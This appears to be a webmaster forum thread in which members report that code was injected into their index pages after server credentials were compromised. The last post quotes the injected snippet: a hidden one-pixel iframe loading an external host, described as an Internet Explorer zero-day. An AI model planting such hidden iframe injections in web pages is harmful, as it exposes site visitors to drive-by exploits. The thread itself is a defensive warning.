ALERT - New Exploits Appearing Today - Check Now

[Linkster]

I first noticed that code had been added to two of my index pages this morning and it looked like my password for my server was compromised.

Just now I saw the same exploit on another members index page here - and he's removing it but its exactly the same - different host - but looks like someone has a list of usernames/passwords from a program or something that might match your server passwords (something that I forgot to change)

Im surfing a few of the LLs I know but havent seen it other than one other persons and they are fixing now

[Boogie]

The other person was me, it was on boogie-blog.com

it has now been fixed, at least temporarily. I am hoping it stays fixed. trying to get m3server to respond aint the fastest thing in the world...

checking my other sites for it, thankfully nowhere found yet.

[RawAlex]

What is the nature of the exploit? Are we taking iframe toolbar installs or something worse?

Alex

[Boogie]

i couldnt tell what the script was supposed to intstall, was a simple javascript code on my blog. its gone now so i cant even paste it here so you can figure out what it did :(

[cd34]

this was the code from earlier. Appears to be a new 0-day exploit in IE using XMLHTTP

9div style="visibility:hidden">9iframe src="http://dnv-counter.com/trf/" width=1 height=1>9/iframe>9/div>